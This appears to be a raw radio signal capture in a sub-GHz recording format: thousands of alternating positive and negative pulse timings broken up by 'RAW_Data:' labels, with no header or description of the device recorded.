341 -128 337 -128 337 -128 127 -344 355 -140 333 -94 345 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -356 93 -370 349 -132 331 -124 119 -350 137 -336 125 -3694 135 -354 105 -370 93 -382 327 -124 353 -94 367 -130 337 -128 337 -126 93 -360 345 -132 333 -124 339 -126 121 -372 101 -366 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 125 -3690 135 -356 107 -368 93 -392 327 -134 329 -124 359 -106 357 -108 335 -124 145 -340 345 -106 339 -132 325 -124 121 -374 101 -368 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3718 95 -340 125 -366 141 -334 367 -108 337 -130 319 -126 337 -128 337 -128 127 -374 325 -140 335 -126 317 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -334 129 -372 103 -360 347 -106 361 -106 107 -396 103 -340 135 -3700 101 -392 105 -334 127 -356 349 -104 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 121 -348 139 -334 127 -3714 97 -370 95 -380 91 -380 355 -106 351 -104 365 -94 389 -104 359 -108 105 -360 357 -106 349 -138 331 -92 139 -342 127 -360 123 -360 327 -124 119 -350 139 -336 125 -356 93 -372 349 -132 329 -124 119 -352 137 -336 125 -3716 97 -372 93 -368 141 -334 367 -108 339 -128 321 -126 337 -128 337 -130 125 -374 327 -138 335 -126 317 -126 121 -372 101 -368 -RAW_Data: 93 -384 319 -134 141 -362 105 -334 127 -358 95 -370 349 -132 331 -124 89 -382 137 -334 127 -3726 101 -356 105 -370 93 -392 327 -134 327 -124 361 -104 359 -106 337 -124 145 -342 347 -106 339 -130 355 -94 121 -372 103 -368 93 -384 349 -104 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -350 139 -334 125 -3718 99 -392 105 -336 125 -354 351 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -128 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 125 -3722 99 -356 143 -334 125 -352 349 -104 337 -124 343 -126 337 -130 337 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 91 -384 351 -104 139 -362 105 -336 129 -358 93 -372 349 -130 331 -122 121 -350 139 -334 127 -3718 97 -372 93 -366 141 -334 365 -108 337 -128 351 -94 369 -96 371 -96 125 -370 329 -140 337 -126 319 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -334 129 -356 93 -372 349 -132 329 -124 121 -350 139 -336 125 -3726 99 -358 105 -370 93 -380 349 -104 337 -124 341 -128 337 -128 339 -128 125 -346 355 -138 333 -126 315 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3694 133 -356 107 -368 93 -380 327 -126 355 -124 337 -128 337 -128 337 -126 95 -386 317 -134 335 -122 341 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -108 361 -108 105 -398 103 -340 99 -3736 99 -392 105 -334 127 -354 351 -102 339 -124 341 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3716 95 -372 93 -380 93 -382 353 -104 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 329 -94 139 -342 127 -360 125 -360 327 -122 121 -350 139 -334 127 -356 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3694 135 -354 107 -368 93 -392 329 -134 329 -122 361 -104 359 -108 335 -126 143 -340 347 -106 339 -130 357 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3722 101 -356 141 -336 125 -352 347 -104 337 -126 341 -128 337 -128 339 -128 125 -346 355 -138 335 -124 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 103 -336 127 -360 93 -370 -RAW_Data: 349 -132 331 -124 121 -350 137 -336 125 -3718 97 -370 95 -380 105 -370 345 -106 339 -132 357 -92 369 -96 371 -96 125 -368 365 -106 337 -126 351 -94 121 -372 101 -370 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 105 -370 93 -384 349 -104 337 -124 341 -128 337 -128 339 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 121 -350 139 -334 127 -3722 101 -356 141 -334 93 -384 349 -104 335 -124 341 -126 371 -96 337 -128 127 -340 357 -140 335 -126 349 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -350 139 -334 125 -3716 95 -372 95 -380 123 -350 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -94 139 -340 129 -358 125 -358 329 -122 121 -350 139 -336 125 -356 93 -372 349 -132 331 -122 121 -350 139 -336 127 -3724 101 -356 105 -370 93 -382 349 -104 337 -124 343 -126 337 -130 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -366 93 -384 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 137 -334 127 -3696 133 -356 107 -368 93 -392 329 -132 329 -124 337 -128 337 -128 339 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -368 91 -384 351 -102 141 -364 105 -336 127 -358 125 -338 349 -132 331 -124 121 -348 139 -336 127 -3722 99 -356 143 -334 125 -354 347 -104 337 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -368 91 -386 349 -104 139 -362 105 -338 127 -358 95 -370 349 -132 329 -124 121 -352 137 -336 127 -3716 101 -392 105 -334 127 -352 351 -102 337 -124 345 -126 337 -128 337 -128 127 -374 325 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3692 135 -356 107 -370 93 -380 327 -126 355 -124 339 -128 337 -130 337 -126 93 -358 347 -134 333 -124 339 -126 123 -370 101 -366 93 -382 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3716 97 -370 95 -378 107 -370 345 -108 339 -130 327 -124 369 -128 337 -128 95 -368 331 -140 337 -128 319 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 101 -354 -RAW_Data: 143 -334 125 -364 329 -132 331 -122 361 -104 359 -108 335 -126 143 -340 347 -106 339 -130 357 -94 121 -374 101 -368 125 -354 351 -102 141 -362 105 -338 127 -358 93 -372 349 -132 331 -122 121 -352 137 -334 127 -3722 99 -356 143 -334 125 -354 349 -138 301 -126 343 -126 339 -128 337 -128 127 -346 355 -138 333 -126 315 -126 121 -374 101 -368 91 -386 317 -136 139 -362 105 -368 95 -360 93 -372 349 -132 329 -124 121 -352 103 -368 127 -3726 99 -356 107 -368 93 -384 351 -102 335 -124 341 -128 337 -128 339 -128 125 -374 325 -140 333 -128 317 -124 121 -374 101 -368 91 -386 349 -104 141 -362 105 -336 127 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3718 99 -392 107 -334 127 -354 349 -140 301 -124 345 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 319 -134 105 -396 105 -366 97 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3718 99 -392 105 -336 125 -356 349 -104 335 -124 343 -126 369 -96 339 -128 125 -374 325 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 127 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3694 133 -356 107 -370 93 -380 349 -140 301 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -124 317 -126 121 -374 101 -368 93 -384 319 -134 105 -396 105 -366 97 -358 95 -370 351 -132 329 -124 91 -382 103 -368 127 -3716 97 -372 93 -380 105 -370 347 -108 339 -132 325 -124 369 -98 369 -96 127 -370 329 -140 335 -128 319 -124 121 -374 101 -366 93 -384 351 -104 139 -362 105 -338 127 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3694 135 -356 105 -370 93 -382 349 -138 303 -124 343 -126 337 -130 337 -128 127 -346 355 -138 301 -158 315 -126 121 -374 101 -366 93 -384 319 -136 105 -396 105 -366 97 -358 93 -372 351 -130 331 -124 91 -382 101 -370 125 -3722 101 -392 105 -334 95 -386 349 -138 301 -124 343 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -386 319 -134 105 -396 105 -366 97 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3730 99 -356 105 -368 93 -384 349 -104 335 -124 341 -126 337 -130 337 -128 127 -342 357 -140 335 -126 315 -126 121 -372 103 -366 93 -384 351 -102 141 -362 105 -338 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3722 101 -356 143 -334 125 -350 351 -138 303 -124 343 -126 339 -128 -RAW_Data: 337 -128 127 -346 355 -138 333 -126 315 -126 121 -374 101 -368 91 -386 317 -136 141 -362 103 -368 95 -360 93 -372 349 -132 331 -124 91 -380 137 -336 125 -3730 101 -356 105 -370 93 -392 329 -132 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 337 -124 343 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 141 -334 127 -366 329 -134 329 -122 337 -130 337 -128 337 -126 95 -382 351 -104 337 -124 341 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3728 101 -356 107 -368 93 -392 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 353 -102 337 -124 345 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -372 347 -134 331 -122 121 -350 139 -334 127 -3720 101 -392 105 -334 127 -354 349 -138 303 -124 343 -128 337 -128 339 -128 125 -344 357 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -358 95 -370 349 -132 331 -122 121 -352 137 -334 127 -3720 101 -392 105 -334 127 -354 351 -104 335 -124 343 -126 369 -96 337 -128 127 -372 325 -142 335 -126 349 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 137 -336 127 -3722 99 -392 105 -336 125 -354 349 -140 301 -124 343 -128 337 -128 337 -128 127 -346 355 -138 333 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 103 -368 95 -360 93 -372 349 -132 331 -124 91 -380 137 -336 125 -3724 101 -356 141 -334 93 -384 351 -102 337 -124 341 -126 371 -96 337 -128 127 -372 325 -142 335 -126 317 -124 121 -374 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3718 95 -372 95 -378 125 -350 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -92 139 -342 129 -360 123 -360 327 -122 121 -352 137 -336 127 -354 125 -340 349 -134 331 -122 121 -350 139 -336 125 -3722 101 -392 105 -334 127 -352 351 -138 303 -124 343 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -386 351 -102 141 -362 103 -368 97 -358 95 -370 351 -132 329 -124 91 -380 137 -336 125 -3722 101 -392 105 -334 127 -352 351 -102 337 -124 343 -126 369 -96 339 -128 125 -342 355 -140 335 -128 349 -94 121 -372 -RAW_Data: 101 -368 93 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3726 101 -356 107 -368 93 -396 329 -132 331 -122 337 -128 337 -130 337 -126 127 -348 353 -104 337 -124 343 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -334 127 -3724 99 -392 105 -334 127 -352 351 -138 303 -124 343 -128 337 -128 339 -126 127 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -386 317 -136 141 -360 105 -368 95 -360 93 -370 351 -132 331 -124 121 -350 137 -334 127 -3714 97 -372 95 -376 125 -352 353 -106 349 -140 331 -124 361 -104 357 -108 105 -398 319 -106 351 -142 331 -92 139 -342 129 -360 123 -360 327 -124 119 -352 139 -334 127 -372 105 -360 347 -108 361 -106 141 -362 103 -340 135 -3700 99 -392 105 -336 129 -358 349 -140 303 -124 351 -140 359 -108 335 -128 95 -368 353 -140 315 -142 331 -124 109 -374 97 -360 93 -392 327 -124 121 -350 139 -334 127 -356 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3724 99 -356 141 -336 125 -354 349 -102 337 -124 341 -126 369 -98 337 -128 125 -372 327 -140 335 -128 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3722 99 -392 105 -334 127 -354 349 -104 337 -124 341 -128 337 -128 337 -128 125 -372 327 -140 335 -128 317 -124 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -360 91 -372 349 -132 329 -124 121 -352 137 -336 125 -3718 97 -372 93 -380 123 -352 353 -106 351 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -94 139 -340 129 -360 123 -360 327 -122 121 -352 139 -334 127 -356 125 -338 349 -132 331 -124 121 -352 137 -336 127 -3722 99 -392 105 -334 127 -354 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -358 95 -370 349 -132 329 -124 121 -352 137 -334 127 -3720 95 -372 95 -378 105 -370 345 -106 341 -130 359 -92 369 -130 337 -128 93 -368 365 -108 337 -128 319 -126 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 129 -358 93 -370 351 -132 329 -124 121 -350 139 -334 127 -3724 101 -392 105 -334 125 -354 349 -140 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 123 -372 101 -368 91 -386 351 -102 141 -362 103 -368 95 -360 -RAW_Data: 95 -370 351 -132 329 -124 91 -380 139 -334 127 -3718 99 -392 105 -336 127 -356 349 -104 337 -124 341 -126 371 -96 337 -128 127 -370 327 -140 337 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -336 127 -3726 101 -356 107 -368 93 -394 331 -132 331 -122 337 -128 337 -128 337 -128 125 -350 353 -102 337 -124 343 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3724 99 -392 105 -336 125 -354 349 -140 301 -126 341 -128 337 -128 339 -128 125 -376 325 -138 335 -126 317 -126 121 -374 101 -368 91 -386 317 -136 141 -362 103 -368 95 -360 93 -372 351 -132 329 -124 91 -380 137 -334 127 -3730 99 -356 107 -368 93 -394 329 -134 329 -122 361 -104 359 -108 335 -126 143 -340 347 -106 339 -132 357 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3716 95 -372 95 -378 123 -352 355 -106 351 -140 331 -92 391 -104 357 -108 105 -360 357 -106 351 -138 333 -122 109 -342 127 -360 125 -360 327 -124 121 -350 139 -336 125 -356 93 -372 349 -132 331 -122 121 -352 139 -334 127 -3724 99 -392 105 -336 125 -366 331 -134 329 -122 361 -104 359 -108 335 -126 143 -340 349 -106 337 -132 357 -92 121 -374 103 -368 123 -354 351 -102 143 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -352 139 -334 127 -3716 99 -392 105 -336 127 -358 349 -138 303 -124 345 -126 337 -130 337 -128 127 -374 325 -140 333 -126 317 -126 121 -374 101 -368 91 -386 351 -102 141 -362 105 -336 129 -370 105 -360 347 -142 325 -106 141 -358 103 -378 103 -3700 99 -392 105 -338 127 -360 349 -104 337 -124 343 -126 371 -96 337 -128 127 -372 325 -142 335 -128 317 -124 121 -374 101 -368 91 -384 351 -104 141 -364 103 -338 127 -358 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3728 101 -356 105 -370 125 -350 349 -140 303 -124 343 -126 339 -128 337 -128 127 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 103 -338 127 -360 93 -370 351 -132 329 -124 91 -380 139 -334 127 -3722 99 -392 105 -336 125 -354 349 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -140 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 127 -360 93 -370 351 -132 331 -122 121 -350 139 -334 127 -3726 -RAW_Data: 99 -392 105 -334 127 -366 331 -132 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 341 -130 357 -94 121 -372 103 -366 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3728 101 -356 105 -370 125 -364 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 353 -138 301 -124 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -392 105 -334 125 -354 351 -138 303 -124 343 -128 337 -128 337 -128 127 -344 357 -138 335 -126 317 -126 121 -372 101 -368 91 -384 351 -104 141 -362 103 -368 95 -360 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3724 101 -356 141 -334 125 -354 349 -104 337 -124 341 -128 337 -128 337 -128 127 -342 355 -140 335 -128 347 -94 121 -374 101 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 139 -334 127 -3716 97 -372 95 -376 125 -350 355 -104 351 -140 333 -124 359 -104 359 -106 105 -362 357 -104 353 -140 331 -92 139 -342 129 -360 123 -360 327 -122 121 -352 125 -344 131 -366 93 -378 351 -104 335 -122 123 -358 139 -334 125 -3724 101 -354 143 -334 127 -366 331 -132 329 -124 361 -104 359 -106 337 -124 145 -340 347 -106 339 -132 357 -92 121 -374 101 -368 127 -352 351 -102 141 -362 105 -338 129 -358 93 -370 351 -132 331 -124 121 -350 137 -336 127 -3720 99 -392 105 -336 127 -352 351 -140 301 -126 343 -128 337 -128 339 -128 125 -344 357 -138 335 -126 317 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -366 97 -360 93 -372 349 -132 331 -124 89 -382 137 -334 127 -3722 99 -392 105 -336 127 -354 349 -104 337 -122 343 -126 369 -98 337 -128 125 -372 327 -140 335 -128 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -370 351 -132 331 -122 121 -350 139 -334 127 -3724 101 -356 141 -336 125 -354 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -366 97 -360 93 -372 349 -132 331 -124 91 -380 137 -334 127 -3720 99 -392 105 -334 127 -356 351 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -142 333 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3720 99 -392 105 -334 127 -356 349 -140 301 -126 343 -126 -RAW_Data: 337 -130 337 -128 125 -376 325 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -368 95 -360 93 -372 349 -132 331 -124 121 -350 137 -334 127 -3724 99 -392 105 -336 125 -354 351 -102 337 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 103 -368 93 -382 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3728 101 -356 105 -370 125 -350 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 317 -126 121 -372 101 -368 91 -386 351 -102 141 -362 105 -366 97 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3730 99 -356 107 -368 93 -396 329 -134 327 -124 337 -128 337 -128 337 -128 125 -348 353 -138 333 -94 345 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3720 99 -392 105 -336 125 -356 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -370 349 -134 331 -124 121 -350 139 -334 125 -3716 97 -372 125 -346 125 -352 355 -104 351 -140 333 -92 391 -104 357 -108 105 -362 357 -106 349 -140 333 -92 139 -342 129 -358 125 -360 327 -122 121 -352 139 -334 127 -358 93 -370 351 -132 331 -122 121 -350 139 -334 127 -3726 99 -356 143 -334 125 -366 331 -132 329 -124 337 -128 337 -128 337 -128 125 -348 351 -140 333 -94 375 -94 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3722 99 -392 105 -334 127 -356 351 -138 303 -124 343 -126 337 -128 339 -128 125 -376 325 -140 335 -126 315 -128 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 125 -3724 101 -392 105 -334 125 -354 351 -104 337 -122 343 -126 369 -96 339 -128 125 -370 327 -142 335 -126 349 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3724 101 -392 105 -334 125 -354 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 315 -128 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 91 -372 349 -134 329 -124 121 -352 137 -334 127 -3726 99 -392 105 -334 127 -366 331 -132 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 341 -130 357 -94 -RAW_Data: 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 127 -360 93 -370 351 -132 329 -124 121 -350 139 -334 127 -3722 99 -392 107 -334 127 -354 349 -140 301 -126 343 -126 339 -128 337 -128 127 -376 323 -140 333 -128 317 -126 121 -372 101 -368 93 -384 353 -102 141 -362 103 -368 95 -360 93 -370 351 -132 331 -124 121 -350 139 -334 125 -3726 101 -392 105 -334 127 -366 329 -134 329 -122 337 -128 337 -128 339 -126 125 -348 353 -138 333 -94 345 -126 121 -372 103 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3730 99 -358 105 -370 125 -350 349 -140 301 -124 343 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -366 97 -360 93 -372 349 -132 329 -124 121 -352 137 -334 127 -3716 97 -372 125 -346 125 -352 355 -104 349 -140 333 -124 359 -104 359 -106 105 -398 319 -106 351 -142 331 -124 109 -342 127 -362 123 -360 327 -122 121 -352 139 -336 125 -356 125 -340 349 -132 331 -124 121 -352 137 -336 127 -3722 99 -392 105 -336 125 -354 349 -140 303 -124 343 -128 337 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -374 101 -366 93 -384 353 -102 141 -362 103 -368 97 -358 95 -370 351 -132 329 -124 91 -382 137 -334 127 -3716 97 -370 127 -346 123 -354 353 -104 351 -140 333 -124 359 -104 359 -106 105 -398 321 -106 351 -140 333 -122 109 -342 127 -360 125 -360 325 -124 121 -352 125 -344 131 -368 91 -378 353 -102 335 -124 123 -356 139 -334 127 -3726 101 -356 107 -368 125 -364 329 -134 329 -124 337 -128 337 -128 339 -126 125 -350 351 -140 301 -124 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 351 -132 331 -122 121 -352 139 -334 127 -3720 99 -392 107 -334 125 -356 349 -140 303 -124 345 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -374 101 -368 91 -386 317 -170 105 -362 105 -368 95 -360 93 -372 349 -132 331 -124 123 -352 137 -334 127 -3722 99 -392 105 -334 127 -354 351 -104 335 -124 343 -126 337 -128 339 -128 125 -372 327 -140 335 -128 317 -126 121 -372 101 -368 93 -386 351 -102 141 -362 105 -336 129 -358 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3730 99 -344 123 -360 139 -334 365 -108 339 -128 321 -126 337 -160 307 -160 95 -372 327 -140 333 -128 319 -126 121 -374 101 -368 93 -384 319 -170 105 -362 103 -368 -RAW_Data: 97 -360 93 -372 349 -132 331 -124 91 -382 101 -370 127 -3718 99 -392 105 -334 129 -356 351 -102 337 -124 343 -126 337 -130 337 -128 127 -372 327 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -352 137 -336 125 -3724 101 -356 141 -336 125 -354 349 -140 301 -124 345 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -374 101 -366 93 -386 319 -134 141 -360 105 -368 97 -358 95 -370 351 -132 329 -124 91 -382 103 -368 127 -3724 99 -394 105 -332 127 -354 351 -138 301 -126 343 -126 339 -128 337 -128 127 -346 355 -140 333 -126 317 -126 121 -372 103 -366 93 -384 319 -134 105 -398 103 -368 97 -360 93 -372 349 -132 331 -124 91 -382 103 -368 127 -3724 99 -392 105 -334 125 -356 349 -104 337 -124 343 -126 337 -130 337 -128 127 -372 325 -140 335 -126 317 -126 121 -372 103 -368 93 -384 351 -102 141 -362 105 -336 129 -358 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3722 99 -392 107 -334 127 -354 349 -138 303 -124 343 -126 337 -130 337 -128 127 -372 325 -140 335 -128 317 -126 121 -372 101 -368 93 -386 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3726 101 -356 141 -334 127 -364 329 -134 329 -122 337 -128 337 -130 337 -126 127 -346 353 -140 333 -94 375 -94 121 -372 101 -370 123 -352 349 -104 141 -362 105 -338 129 -358 125 -338 349 -134 331 -122 121 -352 137 -336 127 -3728 99 -356 143 -334 125 -352 347 -140 301 -124 343 -128 337 -128 339 -128 125 -376 325 -140 333 -126 317 -126 123 -372 101 -368 91 -384 351 -102 141 -364 103 -338 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3718 95 -372 127 -346 123 -352 353 -106 351 -140 331 -94 391 -104 357 -108 105 -362 357 -106 351 -138 333 -92 139 -342 129 -358 125 -360 327 -122 121 -352 139 -336 125 -356 125 -340 349 -132 331 -124 119 -354 139 -334 127 -3724 101 -392 105 -334 127 -366 329 -134 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 375 -94 123 -370 103 -366 125 -352 349 -104 141 -364 105 -336 129 -358 125 -340 349 -132 331 -122 121 -350 139 -336 125 -3724 99 -394 105 -334 125 -356 349 -140 301 -126 343 -126 337 -130 337 -128 125 -344 357 -138 335 -126 319 -126 121 -372 101 -368 93 -384 349 -104 141 -362 103 -368 97 -360 93 -370 351 -132 331 -122 123 -352 137 -336 -RAW_Data: 125 -3720 101 -392 105 -334 127 -356 349 -104 337 -124 373 -96 369 -96 369 -96 127 -370 327 -142 335 -128 349 -94 121 -372 101 -370 123 -352 351 -102 143 -362 105 -336 127 -360 125 -338 349 -132 331 -124 121 -352 123 -344 133 -3728 99 -358 105 -372 99 -366 349 -140 337 -94 347 -126 337 -128 337 -130 125 -374 327 -138 335 -126 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -358 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3722 101 -392 105 -336 125 -354 351 -102 337 -124 373 -96 369 -96 371 -96 125 -370 327 -142 335 -128 349 -94 121 -372 103 -368 125 -350 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 125 -3720 99 -392 105 -334 127 -356 349 -140 303 -124 345 -126 337 -130 337 -128 127 -372 325 -140 335 -126 319 -124 121 -374 101 -368 93 -384 351 -102 141 -362 105 -370 95 -360 93 -370 351 -132 331 -124 121 -350 139 -334 125 -3726 101 -356 141 -334 125 -366 329 -134 329 -124 337 -128 337 -128 339 -126 127 -348 351 -140 333 -94 375 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 121 -350 139 -336 127 -3716 99 -392 105 -336 127 -358 349 -140 303 -124 345 -126 337 -130 337 -128 125 -344 357 -138 335 -126 319 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3726 101 -356 141 -334 125 -366 331 -132 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 375 -94 123 -372 101 -368 123 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 127 -3716 97 -370 127 -346 123 -352 355 -106 351 -140 331 -124 359 -104 357 -108 105 -396 319 -140 317 -140 333 -124 109 -374 97 -360 93 -390 329 -122 123 -352 139 -334 127 -356 93 -372 349 -132 331 -122 121 -352 137 -334 127 -3732 99 -356 107 -370 93 -394 329 -134 329 -122 361 -104 359 -108 337 -124 143 -340 349 -106 339 -132 357 -94 121 -372 139 -332 125 -354 349 -104 141 -362 105 -338 129 -360 93 -370 349 -132 331 -124 119 -352 139 -336 125 -3728 101 -356 141 -334 93 -396 329 -134 329 -124 337 -128 337 -130 337 -126 127 -348 351 -104 369 -94 375 